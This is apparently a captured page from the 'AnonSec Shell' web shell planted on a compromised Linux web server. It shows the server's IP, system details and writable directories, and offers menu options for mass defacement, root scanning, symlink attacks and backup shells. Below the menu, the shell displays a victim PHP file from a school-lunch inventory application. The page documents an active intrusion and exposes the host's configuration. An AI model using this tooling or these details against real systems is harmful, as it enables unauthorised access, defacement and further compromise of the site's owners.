AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/merenda/novooriente/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/merenda/novooriente/ajax.php
<?php
    //region CONFIG
    ini_set('display_errors', 1);
    ini_set('display_startup_erros', 1);
    error_reporting(E_ALL);
    include("includes/conexao.php");
    
    //endregion
    
    class ajax
    {
        public function acao($a)
        {
            switch ($a) {
                //region CADASTRO DE PRODUTOS
                case 'sel_grupoProduto':
                    $this->sel_grupoProduto($_GET['valor']);
                    break;
                case 'sel_marcaProduto':
                    $this->sel_marcaProduto($_GET['valor']);
                    break;
                case 'sel_unidade':
                    $this->sel_unidade($_GET['valor']);
                    break;
                case 'sel_unidadeCompra':
                    $this->sel_unidadeCompra($_GET['valor']);
                    break;
                case 'sel_unidadeArmazenamento':
                    $this->sel_unidadeArmazenamento($_GET['valor']);
                    break;
                //endregion
                
                //region CADASTRO DE ESCOLAS
                case 'sel_distrito':
                    $this->sel_distrito($_GET['valor']);
                    break;
                case 'sel_rota':
                    $this->sel_rota($_GET['valor']);
                    break;
                //endregion
            }
        }
        
        //region CADASTRO DE PRODUTOS
        public function sel_grupoProduto()
        {
            $rs_grp = mysql_query("SELECT * FROM grupoprod where grp_ativo='1' order by grp_grupo");
            ?>
            <select name="txt_grupo_produto" id="grupo_produto" class="form-control select2">
                <?php while ($_grp = mysql_fetch_array($rs_grp)) { ?>
                    <option value="<?=$_grp['grp_id']?>"><?=$_grp['grp_grupo']?></option>
                <?php } ?>
            </select>
            <?
        }
        
        public function sel_marcaProduto()
        {
            $rs_mrc = mysql_query("SELECT * FROM marca where mrc_ativo='1' ORDER BY mrc_marca");
            ?>
            <select name="txt_marca_prod" class="form-control select2">
                <?php while ($_mrc = mysql_fetch_array($rs_mrc)) { ?>
                    <option value="<?=$_mrc['mrc_id']?>"><?=utf8_encode($_mrc['mrc_marca'])?></option>?>
                <?php } ?>
            </select>
            <?
        }
        
        public function sel_unidade()
        {
            $rs_und = mysql_query("SELECT * FROM unidade where und_ativo='1' ORDER BY und_desc");
            ?>
            <select name="txt_unidade_produto" class="form-control select2">
                <?php while ($_und = mysql_fetch_array($rs_und)) { ?>
                    <option value="<?=$_und['und_id']?>"><?=utf8_encode($_und['und_desc'])?></option>
                <?php } ?>
            </select>
            <?
        }
        
        public function sel_unidadeCompra()
        {
            $rs_ebu = mysql_query("SELECT * FROM embalunit where ebu_ativo='1'");
            ?>
            <select name="txt_emb_unitaria" class="form-control select2">
                <?php while ($_ebu = mysql_fetch_array($rs_ebu)) { ?>
                    <option value="<?=$_ebu['ebu_id']?>"><?=$_ebu['ebu_desc']?></option>
                <?php } ?>
            </select>
            <?
        }
        
        public function sel_unidadeArmazenamento()
        {
            $rs_ebs = mysql_query("SELECT * FROM embalsecund where ebs_ativo='1'");
            ?>
            <select name="txt_emb_secundaria" class="form-control select2">
                <?php while ($_ebs = mysql_fetch_array($rs_ebs)) { ?>
                    <option
                            value="<?=$_ebs['ebs_id']?>"><?=$_ebs['ebs_desc']?></option>?>?>
                <?php } ?>
            </select>
            <?
        }
        //endregion
        
        //region CADASTRO DE ESCOLAS
        public function sel_distrito()
        {
            $rs_dis = mysql_query("SELECT * FROM distrito where dis_ativo='1'");
            ?>
            <select name="txt_distrito" class="form-control">
                <?php while ($_dis = mysql_fetch_array($rs_dis)) { ?>
                    <option value="<?php echo $_dis['dis_id'] ?>"><?php echo utf8_encode($_dis['dis_distrito']) ?></option>
                <?php } ?>
            </select>
            <?
        }
        
        public function sel_rota()
        {
            $rs_rot = mysql_query("SELECT * FROM rotas where rota_ativo='1'");
            ?>
            <select name="txt_rota" class="form-control">
                <?php while ($_rot = mysql_fetch_array($rs_rot)) { ?>
                    <option value="<?php echo $_rot['rota_id'] ?>"><?php echo utf8_encode($_rot['rota']) ?></option>
                <?php } ?>
            </select>
            <?
        }
        
    }
    
    $ajax = new ajax();
    $ajax->acao($_GET['a']);

Anon7 - 2022
AnonSec Team